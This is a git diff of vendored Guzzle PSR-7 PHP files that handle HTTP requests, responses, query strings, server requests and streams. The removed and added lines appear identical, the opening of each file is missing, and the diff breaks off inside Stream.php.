+++ b/vendor/guzzlehttp/psr7/src/Query.php @@ -1,113 +1,113 @@ - '1', 'foo[b]' => '2'])`. - * - * @param string $str Query string to parse - * @param int|bool $urlEncoding How the query string is encoded - * - * @return array - */ - public static function parse($str, $urlEncoding = true) - { - $result = []; - - if ($str === '') { - return $result; - } - - if ($urlEncoding === true) { - $decoder = function ($value) { - return rawurldecode(str_replace('+', ' ', $value)); - }; - } elseif ($urlEncoding === PHP_QUERY_RFC3986) { - $decoder = 'rawurldecode'; - } elseif ($urlEncoding === PHP_QUERY_RFC1738) { - $decoder = 'urldecode'; - } else { - $decoder = function ($str) { - return $str; - }; - } - - foreach (explode('&', $str) as $kvp) { - $parts = explode('=', $kvp, 2); - $key = $decoder($parts[0]); - $value = isset($parts[1]) ? $decoder($parts[1]) : null; - if (!isset($result[$key])) { - $result[$key] = $value; - } else { - if (!is_array($result[$key])) { - $result[$key] = [$result[$key]]; - } - $result[$key][] = $value; - } - } - - return $result; - } - - /** - * Build a query string from an array of key value pairs. - * - * This function can use the return value of `parse()` to build a query - * string. This function does not modify the provided keys when an array is - * encountered (like `http_build_query()` would). - * - * @param array $params Query string parameters. - * @param int|false $encoding Set to false to not encode, PHP_QUERY_RFC3986 - * to encode using RFC3986, or PHP_QUERY_RFC1738 - * to encode using RFC1738. - * - * @return string - */ - public static function build(array $params, $encoding = PHP_QUERY_RFC3986) - { - if (!$params) { - return ''; - } - - if ($encoding === false) { - $encoder = function ($str) { - return $str; - }; - } elseif ($encoding === PHP_QUERY_RFC3986) { - $encoder = 'rawurlencode'; - } elseif ($encoding === PHP_QUERY_RFC1738) { - $encoder = 'urlencode'; - } else { - throw new \InvalidArgumentException('Invalid type'); - } - - $qs = ''; - foreach ($params as $k => $v) { - $k = $encoder($k); - if (!is_array($v)) { - $qs .= $k; - if ($v !== null) { - $qs .= '=' . $encoder($v); - } - $qs .= '&'; - } else { - foreach ($v as $vv) { - $qs .= $k; - if ($vv !== null) { - $qs .= '=' . $encoder($vv); - } - $qs .= '&'; - } - } - } - - return $qs ? (string) substr($qs, 0, -1) : ''; - } -} + '1', 'foo[b]' => '2'])`. + * + * @param string $str Query string to parse + * @param int|bool $urlEncoding How the query string is encoded + * + * @return array + */ + public static function parse($str, $urlEncoding = true) + { + $result = []; + + if ($str === '') { + return $result; + } + + if ($urlEncoding === true) { + $decoder = function ($value) { + return rawurldecode(str_replace('+', ' ', $value)); + }; + } elseif ($urlEncoding === PHP_QUERY_RFC3986) { + $decoder = 'rawurldecode'; + } elseif ($urlEncoding === PHP_QUERY_RFC1738) { + $decoder = 'urldecode'; + } else { + $decoder = function ($str) { + return $str; + }; + } + + foreach (explode('&', $str) as $kvp) { + $parts = explode('=', $kvp, 2); + $key = $decoder($parts[0]); + $value = isset($parts[1]) ? $decoder($parts[1]) : null; + if (!isset($result[$key])) { + $result[$key] = $value; + } else { + if (!is_array($result[$key])) { + $result[$key] = [$result[$key]]; + } + $result[$key][] = $value; + } + } + + return $result; + } + + /** + * Build a query string from an array of key value pairs. + * + * This function can use the return value of `parse()` to build a query + * string. This function does not modify the provided keys when an array is + * encountered (like `http_build_query()` would). + * + * @param array $params Query string parameters. + * @param int|false $encoding Set to false to not encode, PHP_QUERY_RFC3986 + * to encode using RFC3986, or PHP_QUERY_RFC1738 + * to encode using RFC1738. + * + * @return string + */ + public static function build(array $params, $encoding = PHP_QUERY_RFC3986) + { + if (!$params) { + return ''; + } + + if ($encoding === false) { + $encoder = function ($str) { + return $str; + }; + } elseif ($encoding === PHP_QUERY_RFC3986) { + $encoder = 'rawurlencode'; + } elseif ($encoding === PHP_QUERY_RFC1738) { + $encoder = 'urlencode'; + } else { + throw new \InvalidArgumentException('Invalid type'); + } + + $qs = ''; + foreach ($params as $k => $v) { + $k = $encoder($k); + if (!is_array($v)) { + $qs .= $k; + if ($v !== null) { + $qs .= '=' . $encoder($v); + } + $qs .= '&'; + } else { + foreach ($v as $vv) { + $qs .= $k; + if ($vv !== null) { + $qs .= '=' . $encoder($vv); + } + $qs .= '&'; + } + } + } + + return $qs ? (string) substr($qs, 0, -1) : ''; + } +} diff --git a/vendor/guzzlehttp/psr7/src/Request.php b/vendor/guzzlehttp/psr7/src/Request.php index 682585ec6c..c1cdaebff8 100644 --- a/vendor/guzzlehttp/psr7/src/Request.php +++ b/vendor/guzzlehttp/psr7/src/Request.php @@ -1,152 +1,152 @@ -assertMethod($method); - if (!($uri instanceof UriInterface)) { - $uri = new Uri($uri); - } - - $this->method = strtoupper($method); - $this->uri = $uri; - $this->setHeaders($headers); - $this->protocol = $version; - - if (!isset($this->headerNames['host'])) { - $this->updateHostFromUri(); - } - - if ($body !== '' && $body !== null) { - $this->stream = Utils::streamFor($body); - } - } - - public function getRequestTarget() - { - if ($this->requestTarget !== null) { - return $this->requestTarget; - } - - $target = $this->uri->getPath(); - if ($target == '') { - $target = '/'; - } - if ($this->uri->getQuery() != '') { - $target .= '?' . $this->uri->getQuery(); - } - - return $target; - } - - public function withRequestTarget($requestTarget) - { - if (preg_match('#\s#', $requestTarget)) { - throw new InvalidArgumentException( - 'Invalid request target provided; cannot contain whitespace' - ); - } - - $new = clone $this; - $new->requestTarget = $requestTarget; - return $new; - } - - public function getMethod() - { - return $this->method; - } - - public function withMethod($method) - { - $this->assertMethod($method); - $new = clone $this; - $new->method = strtoupper($method); - return $new; - } - - public function getUri() - { - return $this->uri; - } - - public function withUri(UriInterface $uri, $preserveHost = false) - { - if ($uri === $this->uri) { - return $this; - } - - $new = clone $this; - $new->uri = $uri; - - if (!$preserveHost || !isset($this->headerNames['host'])) { - $new->updateHostFromUri(); - } - - return $new; - } - - private function updateHostFromUri() - { - $host = $this->uri->getHost(); - - if ($host == '') { - return; - } - - if (($port = $this->uri->getPort()) !== null) { - $host .= ':' . $port; - } - - if (isset($this->headerNames['host'])) { - $header = $this->headerNames['host']; - } else { - $header = 'Host'; - $this->headerNames['host'] = 'Host'; - } - // Ensure Host is the first header. - // See: http://tools.ietf.org/html/rfc7230#section-5.4 - $this->headers = [$header => [$host]] + $this->headers; - } - - private function assertMethod($method) - { - if (!is_string($method) || $method === '') { - throw new \InvalidArgumentException('Method must be a non-empty string.'); - } - } -} +assertMethod($method); + if (!($uri instanceof UriInterface)) { + $uri = new Uri($uri); + } + + $this->method = strtoupper($method); + $this->uri = $uri; + $this->setHeaders($headers); + $this->protocol = $version; + + if (!isset($this->headerNames['host'])) { + $this->updateHostFromUri(); + } + + if ($body !== '' && $body !== null) { + $this->stream = Utils::streamFor($body); + } + } + + public function getRequestTarget() + { + if ($this->requestTarget !== null) { + return $this->requestTarget; + } + + $target = $this->uri->getPath(); + if ($target == '') { + $target = '/'; + } + if ($this->uri->getQuery() != '') { + $target .= '?' . $this->uri->getQuery(); + } + + return $target; + } + + public function withRequestTarget($requestTarget) + { + if (preg_match('#\s#', $requestTarget)) { + throw new InvalidArgumentException( + 'Invalid request target provided; cannot contain whitespace' + ); + } + + $new = clone $this; + $new->requestTarget = $requestTarget; + return $new; + } + + public function getMethod() + { + return $this->method; + } + + public function withMethod($method) + { + $this->assertMethod($method); + $new = clone $this; + $new->method = strtoupper($method); + return $new; + } + + public function getUri() + { + return $this->uri; + } + + public function withUri(UriInterface $uri, $preserveHost = false) + { + if ($uri === $this->uri) { + return $this; + } + + $new = clone $this; + $new->uri = $uri; + + if (!$preserveHost || !isset($this->headerNames['host'])) { + $new->updateHostFromUri(); + } + + return $new; + } + + private function updateHostFromUri() + { + $host = $this->uri->getHost(); + + if ($host == '') { + return; + } + + if (($port = $this->uri->getPort()) !== null) { + $host .= ':' . $port; + } + + if (isset($this->headerNames['host'])) { + $header = $this->headerNames['host']; + } else { + $header = 'Host'; + $this->headerNames['host'] = 'Host'; + } + // Ensure Host is the first header. + // See: http://tools.ietf.org/html/rfc7230#section-5.4 + $this->headers = [$header => [$host]] + $this->headers; + } + + private function assertMethod($method) + { + if (!is_string($method) || $method === '') { + throw new \InvalidArgumentException('Method must be a non-empty string.'); + } + } +} diff --git a/vendor/guzzlehttp/psr7/src/Response.php b/vendor/guzzlehttp/psr7/src/Response.php index 4d36826555..8c01a0f5a4 100644 --- a/vendor/guzzlehttp/psr7/src/Response.php +++ b/vendor/guzzlehttp/psr7/src/Response.php @@ -1,155 +1,155 @@ - 'Continue', - 101 => 'Switching Protocols', - 102 => 'Processing', - 200 => 'OK', - 201 => 'Created', - 202 => 'Accepted', - 203 => 'Non-Authoritative Information', - 204 => 'No Content', - 205 => 'Reset Content', - 206 => 'Partial Content', - 207 => 'Multi-status', - 208 => 'Already Reported', - 300 => 'Multiple Choices', - 301 => 'Moved Permanently', - 302 => 'Found', - 303 => 'See Other', - 304 => 'Not Modified', - 305 => 'Use Proxy', - 306 => 'Switch Proxy', - 307 => 'Temporary Redirect', - 400 => 'Bad Request', - 401 => 'Unauthorized', - 402 => 'Payment Required', - 403 => 'Forbidden', - 404 => 'Not Found', - 405 => 'Method Not Allowed', - 406 => 'Not Acceptable', - 407 => 'Proxy Authentication Required', - 408 => 'Request Time-out', - 409 => 'Conflict', - 410 => 'Gone', - 411 => 'Length Required', - 412 => 'Precondition Failed', - 413 => 'Request Entity Too Large', - 414 => 'Request-URI Too Large', - 415 => 'Unsupported Media Type', - 416 => 'Requested range not satisfiable', - 417 => 'Expectation Failed', - 418 => 'I\'m a teapot', - 422 => 'Unprocessable Entity', - 423 => 'Locked', - 424 => 'Failed Dependency', - 425 => 'Unordered Collection', - 426 => 'Upgrade Required', - 428 => 'Precondition Required', - 429 => 'Too Many Requests', - 431 => 'Request Header Fields Too Large', - 451 => 'Unavailable For Legal Reasons', - 500 => 'Internal Server Error', - 501 => 'Not Implemented', - 502 => 'Bad Gateway', - 503 => 'Service Unavailable', - 504 => 'Gateway Time-out', - 505 => 'HTTP Version not supported', - 506 => 'Variant Also Negotiates', - 507 => 'Insufficient Storage', - 508 => 'Loop Detected', - 511 => 'Network Authentication Required', - ]; - - /** @var string */ - private $reasonPhrase = ''; - - /** @var int */ - private $statusCode = 200; - - /** - * @param int $status Status code - * @param array $headers Response headers - * @param string|resource|StreamInterface|null $body Response body - * @param string $version Protocol version - * @param string|null $reason Reason phrase (when empty a default will be used based on the status code) - */ - public function __construct( - $status = 200, - array $headers = [], - $body = null, - $version = '1.1', - $reason = null - ) { - $this->assertStatusCodeIsInteger($status); - $status = (int) $status; - $this->assertStatusCodeRange($status); - - $this->statusCode = $status; - - if ($body !== '' && $body !== null) { - $this->stream = Utils::streamFor($body); - } - - $this->setHeaders($headers); - if ($reason == '' && isset(self::$phrases[$this->statusCode])) { - $this->reasonPhrase = self::$phrases[$this->statusCode]; - } else { - $this->reasonPhrase = (string) $reason; - } - - $this->protocol = $version; - } - - public function getStatusCode() - { - return $this->statusCode; - } - - public function getReasonPhrase() - { - return $this->reasonPhrase; - } - - public function withStatus($code, $reasonPhrase = '') - { - $this->assertStatusCodeIsInteger($code); - $code = (int) $code; - $this->assertStatusCodeRange($code); - - $new = clone $this; - $new->statusCode = $code; - if ($reasonPhrase == '' && isset(self::$phrases[$new->statusCode])) { - $reasonPhrase = self::$phrases[$new->statusCode]; - } - $new->reasonPhrase = (string) $reasonPhrase; - return $new; - } - - private function assertStatusCodeIsInteger($statusCode) - { - if (filter_var($statusCode, FILTER_VALIDATE_INT) === false) { - throw new \InvalidArgumentException('Status code must be an integer value.'); - } - } - - private function assertStatusCodeRange($statusCode) - { - if ($statusCode < 100 || $statusCode >= 600) { - throw new \InvalidArgumentException('Status code must be an integer value between 1xx and 5xx.'); - } - } -} + 'Continue', + 101 => 'Switching Protocols', + 102 => 'Processing', + 200 => 'OK', + 201 => 'Created', + 202 => 'Accepted', + 203 => 'Non-Authoritative Information', + 204 => 'No Content', + 205 => 'Reset Content', + 206 => 'Partial Content', + 207 => 'Multi-status', + 208 => 'Already Reported', + 300 => 'Multiple Choices', + 301 => 'Moved Permanently', + 302 => 'Found', + 303 => 'See Other', + 304 => 'Not Modified', + 305 => 'Use Proxy', + 306 => 'Switch Proxy', + 307 => 'Temporary Redirect', + 400 => 'Bad Request', + 401 => 'Unauthorized', + 402 => 'Payment Required', + 403 => 'Forbidden', + 404 => 'Not Found', + 405 => 'Method Not Allowed', + 406 => 'Not Acceptable', + 407 => 'Proxy Authentication Required', + 408 => 'Request Time-out', + 409 => 'Conflict', + 410 => 'Gone', + 411 => 'Length Required', + 412 => 'Precondition Failed', + 413 => 'Request Entity Too Large', + 414 => 'Request-URI Too Large', + 415 => 'Unsupported Media Type', + 416 => 'Requested range not satisfiable', + 417 => 'Expectation Failed', + 418 => 'I\'m a teapot', + 422 => 'Unprocessable Entity', + 423 => 'Locked', + 424 => 'Failed Dependency', + 425 => 'Unordered Collection', + 426 => 'Upgrade Required', + 428 => 'Precondition Required', + 429 => 'Too Many Requests', + 431 => 'Request Header Fields Too Large', + 451 => 'Unavailable For Legal Reasons', + 500 => 'Internal Server Error', + 501 => 'Not Implemented', + 502 => 'Bad Gateway', + 503 => 'Service Unavailable', + 504 => 'Gateway Time-out', + 505 => 'HTTP Version not supported', + 506 => 'Variant Also Negotiates', + 507 => 'Insufficient Storage', + 508 => 'Loop Detected', + 511 => 'Network Authentication Required', + ]; + + /** @var string */ + private $reasonPhrase = ''; + + /** @var int */ + private $statusCode = 200; + + /** + * @param int $status Status code + * @param array $headers Response headers + * @param string|resource|StreamInterface|null $body Response body + * @param string $version Protocol version + * @param string|null $reason Reason phrase (when empty a default will be used based on the status code) + */ + public function __construct( + $status = 200, + array $headers = [], + $body = null, + $version = '1.1', + $reason = null + ) { + $this->assertStatusCodeIsInteger($status); + $status = (int) $status; + $this->assertStatusCodeRange($status); + + $this->statusCode = $status; + + if ($body !== '' && $body !== null) { + $this->stream = Utils::streamFor($body); + } + + $this->setHeaders($headers); + if ($reason == '' && isset(self::$phrases[$this->statusCode])) { + $this->reasonPhrase = self::$phrases[$this->statusCode]; + } else { + $this->reasonPhrase = (string) $reason; + } + + $this->protocol = $version; + } + + public function getStatusCode() + { + return $this->statusCode; + } + + public function getReasonPhrase() + { + return $this->reasonPhrase; + } + + public function withStatus($code, $reasonPhrase = '') + { + $this->assertStatusCodeIsInteger($code); + $code = (int) $code; + $this->assertStatusCodeRange($code); + + $new = clone $this; + $new->statusCode = $code; + if ($reasonPhrase == '' && isset(self::$phrases[$new->statusCode])) { + $reasonPhrase = self::$phrases[$new->statusCode]; + } + $new->reasonPhrase = (string) $reasonPhrase; + return $new; + } + + private function assertStatusCodeIsInteger($statusCode) + { + if (filter_var($statusCode, FILTER_VALIDATE_INT) === false) { + throw new \InvalidArgumentException('Status code must be an integer value.'); + } + } + + private function assertStatusCodeRange($statusCode) + { + if ($statusCode < 100 || $statusCode >= 600) { + throw new \InvalidArgumentException('Status code must be an integer value between 1xx and 5xx.'); + } + } +} diff --git a/vendor/guzzlehttp/psr7/src/Rfc7230.php b/vendor/guzzlehttp/psr7/src/Rfc7230.php index 33417c74c5..51b571f24d 100644 --- a/vendor/guzzlehttp/psr7/src/Rfc7230.php +++ b/vendor/guzzlehttp/psr7/src/Rfc7230.php @@ -1,19 +1,19 @@ -@,;:\\\"/[\]?={}\x01-\x20\x7F]++):[ \t]*+((?:[ \t]*+[\x21-\x7E\x80-\xFF]++)*+)[ \t]*+\r?\n)m"; - const HEADER_FOLD_REGEX = "(\r?\n[ \t]++)"; -} +@,;:\\\"/[\]?={}\x01-\x20\x7F]++):[ \t]*+((?:[ \t]*+[\x21-\x7E\x80-\xFF]++)*+)[ \t]*+\r?\n)m"; + const HEADER_FOLD_REGEX = "(\r?\n[ \t]++)"; +} diff --git a/vendor/guzzlehttp/psr7/src/ServerRequest.php b/vendor/guzzlehttp/psr7/src/ServerRequest.php index 0873e1175d..e6d26f5ff9 100644 --- a/vendor/guzzlehttp/psr7/src/ServerRequest.php +++ b/vendor/guzzlehttp/psr7/src/ServerRequest.php @@ -1,379 +1,379 @@ -serverParams = $serverParams; - - parent::__construct($method, $uri, $headers, $body, $version); - } - - /** - * Return an UploadedFile instance array. - * - * @param array $files A array which respect $_FILES structure - * - * @return array - * - * @throws InvalidArgumentException for unrecognized values - */ - public static function normalizeFiles(array $files) - { - $normalized = []; - - foreach ($files as $key => $value) { - if ($value instanceof UploadedFileInterface) { - $normalized[$key] = $value; - } elseif (is_array($value) && isset($value['tmp_name'])) { - $normalized[$key] = self::createUploadedFileFromSpec($value); - } elseif (is_array($value)) { - $normalized[$key] = self::normalizeFiles($value); - continue; - } else { - throw new InvalidArgumentException('Invalid value in files specification'); - } - } - - return $normalized; - } - - /** - * Create and return an UploadedFile instance from a $_FILES specification. - * - * If the specification represents an array of values, this method will - * delegate to normalizeNestedFileSpec() and return that return value. - * - * @param array $value $_FILES struct - * - * @return array|UploadedFileInterface - */ - private static function createUploadedFileFromSpec(array $value) - { - if (is_array($value['tmp_name'])) { - return self::normalizeNestedFileSpec($value); - } - - return new UploadedFile( - $value['tmp_name'], - (int) $value['size'], - (int) $value['error'], - $value['name'], - $value['type'] - ); - } - - /** - * Normalize an array of file specifications. - * - * Loops through all nested files and returns a normalized array of - * UploadedFileInterface instances. - * - * @param array $files - * - * @return UploadedFileInterface[] - */ - private static function normalizeNestedFileSpec(array $files = []) - { - $normalizedFiles = []; - - foreach (array_keys($files['tmp_name']) as $key) { - $spec = [ - 'tmp_name' => $files['tmp_name'][$key], - 'size' => $files['size'][$key], - 'error' => $files['error'][$key], - 'name' => $files['name'][$key], - 'type' => $files['type'][$key], - ]; - $normalizedFiles[$key] = self::createUploadedFileFromSpec($spec); - } - - return $normalizedFiles; - } - - /** - * Return a ServerRequest populated with superglobals: - * $_GET - * $_POST - * $_COOKIE - * $_FILES - * $_SERVER - * - * @return ServerRequestInterface - */ - public static function fromGlobals() - { - $method = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET'; - $headers = getallheaders(); - $uri = self::getUriFromGlobals(); - $body = new CachingStream(new LazyOpenStream('php://input', 'r+')); - $protocol = isset($_SERVER['SERVER_PROTOCOL']) ? str_replace('HTTP/', '', $_SERVER['SERVER_PROTOCOL']) : '1.1'; - - $serverRequest = new ServerRequest($method, $uri, $headers, $body, $protocol, $_SERVER); - - return $serverRequest - ->withCookieParams($_COOKIE) - ->withQueryParams($_GET) - ->withParsedBody($_POST) - ->withUploadedFiles(self::normalizeFiles($_FILES)); - } - - private static function extractHostAndPortFromAuthority($authority) - { - $uri = 'http://' . $authority; - $parts = parse_url($uri); - if (false === $parts) { - return [null, null]; - } - - $host = isset($parts['host']) ? $parts['host'] : null; - $port = isset($parts['port']) ? $parts['port'] : null; - - return [$host, $port]; - } - - /** - * Get a Uri populated with values from $_SERVER. - * - * @return UriInterface - */ - public static function getUriFromGlobals() - { - $uri = new Uri(''); - - $uri = $uri->withScheme(!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http'); - - $hasPort = false; - if (isset($_SERVER['HTTP_HOST'])) { - list($host, $port) = self::extractHostAndPortFromAuthority($_SERVER['HTTP_HOST']); - if ($host !== null) { - $uri = $uri->withHost($host); - } - - if ($port !== null) { - $hasPort = true; - $uri = $uri->withPort($port); - } - } elseif (isset($_SERVER['SERVER_NAME'])) { - $uri = $uri->withHost($_SERVER['SERVER_NAME']); - } elseif (isset($_SERVER['SERVER_ADDR'])) { - $uri = $uri->withHost($_SERVER['SERVER_ADDR']); - } - - if (!$hasPort && isset($_SERVER['SERVER_PORT'])) { - $uri = $uri->withPort($_SERVER['SERVER_PORT']); - } - - $hasQuery = false; - if (isset($_SERVER['REQUEST_URI'])) { - $requestUriParts = explode('?', $_SERVER['REQUEST_URI'], 2); - $uri = $uri->withPath($requestUriParts[0]); - if (isset($requestUriParts[1])) { - $hasQuery = true; - $uri = $uri->withQuery($requestUriParts[1]); - } - } - - if (!$hasQuery && isset($_SERVER['QUERY_STRING'])) { - $uri = $uri->withQuery($_SERVER['QUERY_STRING']); - } - - return $uri; - } - - /** - * {@inheritdoc} - */ - public function getServerParams() - { - return $this->serverParams; - } - - /** - * {@inheritdoc} - */ - public function getUploadedFiles() - { - return $this->uploadedFiles; - } - - /** - * {@inheritdoc} - */ - public function withUploadedFiles(array $uploadedFiles) - { - $new = clone $this; - $new->uploadedFiles = $uploadedFiles; - - return $new; - } - - /** - * {@inheritdoc} - */ - public function getCookieParams() - { - return $this->cookieParams; - } - - /** - * {@inheritdoc} - */ - public function withCookieParams(array $cookies) - { - $new = clone $this; - $new->cookieParams = $cookies; - - return $new; - } - - /** - * {@inheritdoc} - */ - public function getQueryParams() - { - return $this->queryParams; - } - - /** - * {@inheritdoc} - */ - public function withQueryParams(array $query) - { - $new = clone $this; - $new->queryParams = $query; - - return $new; - } - - /** - * {@inheritdoc} - */ - public function getParsedBody() - { - return $this->parsedBody; - } - - /** - * {@inheritdoc} - */ - public function withParsedBody($data) - { - $new = clone $this; - $new->parsedBody = $data; - - return $new; - } - - /** - * {@inheritdoc} - */ - public function getAttributes() - { - return $this->attributes; - } - - /** - * {@inheritdoc} - */ - public function getAttribute($attribute, $default = null) - { - if (false === array_key_exists($attribute, $this->attributes)) { - return $default; - } - - return $this->attributes[$attribute]; - } - - /** - * {@inheritdoc} - */ - public function withAttribute($attribute, $value) - { - $new = clone $this; - $new->attributes[$attribute] = $value; - - return $new; - } - - /** - * {@inheritdoc} - */ - public function withoutAttribute($attribute) - { - if (false === array_key_exists($attribute, $this->attributes)) { - return $this; - } - - $new = clone $this; - unset($new->attributes[$attribute]); - - return $new; - } -} +serverParams = $serverParams; + + parent::__construct($method, $uri, $headers, $body, $version); + } + + /** + * Return an UploadedFile instance array. + * + * @param array $files A array which respect $_FILES structure + * + * @return array + * + * @throws InvalidArgumentException for unrecognized values + */ + public static function normalizeFiles(array $files) + { + $normalized = []; + + foreach ($files as $key => $value) { + if ($value instanceof UploadedFileInterface) { + $normalized[$key] = $value; + } elseif (is_array($value) && isset($value['tmp_name'])) { + $normalized[$key] = self::createUploadedFileFromSpec($value); + } elseif (is_array($value)) { + $normalized[$key] = self::normalizeFiles($value); + continue; + } else { + throw new InvalidArgumentException('Invalid value in files specification'); + } + } + + return $normalized; + } + + /** + * Create and return an UploadedFile instance from a $_FILES specification. + * + * If the specification represents an array of values, this method will + * delegate to normalizeNestedFileSpec() and return that return value. + * + * @param array $value $_FILES struct + * + * @return array|UploadedFileInterface + */ + private static function createUploadedFileFromSpec(array $value) + { + if (is_array($value['tmp_name'])) { + return self::normalizeNestedFileSpec($value); + } + + return new UploadedFile( + $value['tmp_name'], + (int) $value['size'], + (int) $value['error'], + $value['name'], + $value['type'] + ); + } + + /** + * Normalize an array of file specifications. + * + * Loops through all nested files and returns a normalized array of + * UploadedFileInterface instances. + * + * @param array $files + * + * @return UploadedFileInterface[] + */ + private static function normalizeNestedFileSpec(array $files = []) + { + $normalizedFiles = []; + + foreach (array_keys($files['tmp_name']) as $key) { + $spec = [ + 'tmp_name' => $files['tmp_name'][$key], + 'size' => $files['size'][$key], + 'error' => $files['error'][$key], + 'name' => $files['name'][$key], + 'type' => $files['type'][$key], + ]; + $normalizedFiles[$key] = self::createUploadedFileFromSpec($spec); + } + + return $normalizedFiles; + } + + /** + * Return a ServerRequest populated with superglobals: + * $_GET + * $_POST + * $_COOKIE + * $_FILES + * $_SERVER + * + * @return ServerRequestInterface + */ + public static function fromGlobals() + { + $method = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET'; + $headers = getallheaders(); + $uri = self::getUriFromGlobals(); + $body = new CachingStream(new LazyOpenStream('php://input', 'r+')); + $protocol = isset($_SERVER['SERVER_PROTOCOL']) ? str_replace('HTTP/', '', $_SERVER['SERVER_PROTOCOL']) : '1.1'; + + $serverRequest = new ServerRequest($method, $uri, $headers, $body, $protocol, $_SERVER); + + return $serverRequest + ->withCookieParams($_COOKIE) + ->withQueryParams($_GET) + ->withParsedBody($_POST) + ->withUploadedFiles(self::normalizeFiles($_FILES)); + } + + private static function extractHostAndPortFromAuthority($authority) + { + $uri = 'http://' . $authority; + $parts = parse_url($uri); + if (false === $parts) { + return [null, null]; + } + + $host = isset($parts['host']) ? $parts['host'] : null; + $port = isset($parts['port']) ? $parts['port'] : null; + + return [$host, $port]; + } + + /** + * Get a Uri populated with values from $_SERVER. + * + * @return UriInterface + */ + public static function getUriFromGlobals() + { + $uri = new Uri(''); + + $uri = $uri->withScheme(!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http'); + + $hasPort = false; + if (isset($_SERVER['HTTP_HOST'])) { + list($host, $port) = self::extractHostAndPortFromAuthority($_SERVER['HTTP_HOST']); + if ($host !== null) { + $uri = $uri->withHost($host); + } + + if ($port !== null) { + $hasPort = true; + $uri = $uri->withPort($port); + } + } elseif (isset($_SERVER['SERVER_NAME'])) { + $uri = $uri->withHost($_SERVER['SERVER_NAME']); + } elseif (isset($_SERVER['SERVER_ADDR'])) { + $uri = $uri->withHost($_SERVER['SERVER_ADDR']); + } + + if (!$hasPort && isset($_SERVER['SERVER_PORT'])) { + $uri = $uri->withPort($_SERVER['SERVER_PORT']); + } + + $hasQuery = false; + if (isset($_SERVER['REQUEST_URI'])) { + $requestUriParts = explode('?', $_SERVER['REQUEST_URI'], 2); + $uri = $uri->withPath($requestUriParts[0]); + if (isset($requestUriParts[1])) { + $hasQuery = true; + $uri = $uri->withQuery($requestUriParts[1]); + } + } + + if (!$hasQuery && isset($_SERVER['QUERY_STRING'])) { + $uri = $uri->withQuery($_SERVER['QUERY_STRING']); + } + + return $uri; + } + + /** + * {@inheritdoc} + */ + public function getServerParams() + { + return $this->serverParams; + } + + /** + * {@inheritdoc} + */ + public function getUploadedFiles() + { + return $this->uploadedFiles; + } + + /** + * {@inheritdoc} + */ + public function withUploadedFiles(array $uploadedFiles) + { + $new = clone $this; + $new->uploadedFiles = $uploadedFiles; + + return $new; + } + + /** + * {@inheritdoc} + */ + public function getCookieParams() + { + return $this->cookieParams; + } + + /** + * {@inheritdoc} + */ + public function withCookieParams(array $cookies) + { + $new = clone $this; + $new->cookieParams = $cookies; + + return $new; + } + + /** + * {@inheritdoc} + */ + public function getQueryParams() + { + return $this->queryParams; + } + + /** + * {@inheritdoc} + */ + public function withQueryParams(array $query) + { + $new = clone $this; + $new->queryParams = $query; + + return $new; + } + + /** + * {@inheritdoc} + */ + public function getParsedBody() + { + return $this->parsedBody; + } + + /** + * {@inheritdoc} + */ + public function withParsedBody($data) + { + $new = clone $this; + $new->parsedBody = $data; + + return $new; + } + + /** + * {@inheritdoc} + */ + public function getAttributes() + { + return $this->attributes; + } + + /** + * {@inheritdoc} + */ + public function getAttribute($attribute, $default = null) + { + if (false === array_key_exists($attribute, $this->attributes)) { + return $default; + } + + return $this->attributes[$attribute]; + } + + /** + * {@inheritdoc} + */ + public function withAttribute($attribute, $value) + { + $new = clone $this; + $new->attributes[$attribute] = $value; + + return $new; + } + + /** + * {@inheritdoc} + */ + public function withoutAttribute($attribute) + { + if (false === array_key_exists($attribute, $this->attributes)) { + return $this; + } + + $new = clone $this; + unset($new->attributes[$attribute]); + + return $new; + } +} diff --git a/vendor/guzzlehttp/psr7/src/Stream.php b/vendor/guzzlehttp/psr7/src/Stream.php index e919517a33..3865d6d6a1 100644 --- a/vendor/guzzlehttp/psr7/src/Stream.php +++ b/vendor/guzzlehttp/psr7/src/Stream.php @@ -1,270 +1,270 @@ -size = $options['size']; - } - - $this->customMetadata = isset($options['metadata']) - ? $options['metadata'] - : []; - - $this->stream = $stream; - $meta = stream_get_meta_data($this->stream); - $this->seekable = $meta['seekable']; - $this->readable = (bool)preg_match(self::READABLE_MODES, $meta['mode']); - $this->writable = (bool)preg_match(self::WRITABLE_MODES, $meta['mode']); - $this->uri = $this->getMetadata('uri'); - } - - /** - * Closes the stream when the destructed - */ - public function __destruct() - { - $this->close(); - } - - public function __toString() - { - try { - if ($this->isSeekable()) { - $this->seek(0); - } - return $this->getContents(); - } catch (\Exception $e) { - return ''; - } - } - - public function getContents() - { - if (!isset($this->stream)) { - throw new \RuntimeException('Stream is detached'); - } - - $contents = stream_get_contents($this->stream); - - if ($contents === false) { - throw new \RuntimeException('Unable to read stream contents'); - } - - return $contents; - } - - public function close() - { - if (isset($this->stream)) { - if (is_resource($this->stream)) { - fclose($this->stream); - } - $this->detach(); - } - } - - public function detach() - { - if (!isset($this->stream)) { - return null; - } - - $result = $this->stream; - unset($this->stream); - $this->size = $this->uri = null; - $this->readable = $this->writable = $this->seekable = false; - - return $result; - } - - public function getSize() - { - if ($this->size !== null) { - return $this->size; - } - - if (!isset($this->stream)) { - return null; - } - - // Clear the stat cache if the stream has a URI - if ($this->uri) { - clearstatcache(true, $this->uri); - } - - $stats = fstat($this->stream); - if (isset($stats['size'])) { - $this->size = $stats['size']; - return $this->size; - } - - return null; - } - - public function isReadable() - { - return $this->readable; - } - - public function isWritable() - { - return $this->writable; - } - - public function isSeekable() - { - return $this->seekable; - } - - public function eof() - { - if (!isset($this->stream)) { - throw new \RuntimeException('Stream is detached'); - } - - return feof($this->stream); - } - - public function tell() - { - if (!isset($this->stream)) { - throw new \RuntimeException('Stream is detached'); - } - - $result = ftell($this->stream); - - if ($result === false) { - throw new \RuntimeException('Unable to determine stream position'); - } - - return $result; - } - - public function rewind() - { - $this->seek(0); - } - - public function seek($offset, $whence = SEEK_SET) - { - $whence = (int) $whence; - - if (!isset($this->stream)) { - throw new \RuntimeException('Stream is detached'); - } - if (!$this->seekable) { - throw new \RuntimeException('Stream is not seekable'); - } - if (fseek($this->stream, $offset, $whence) === -1) { - throw new \RuntimeException('Unable to seek to stream position ' - . $offset . 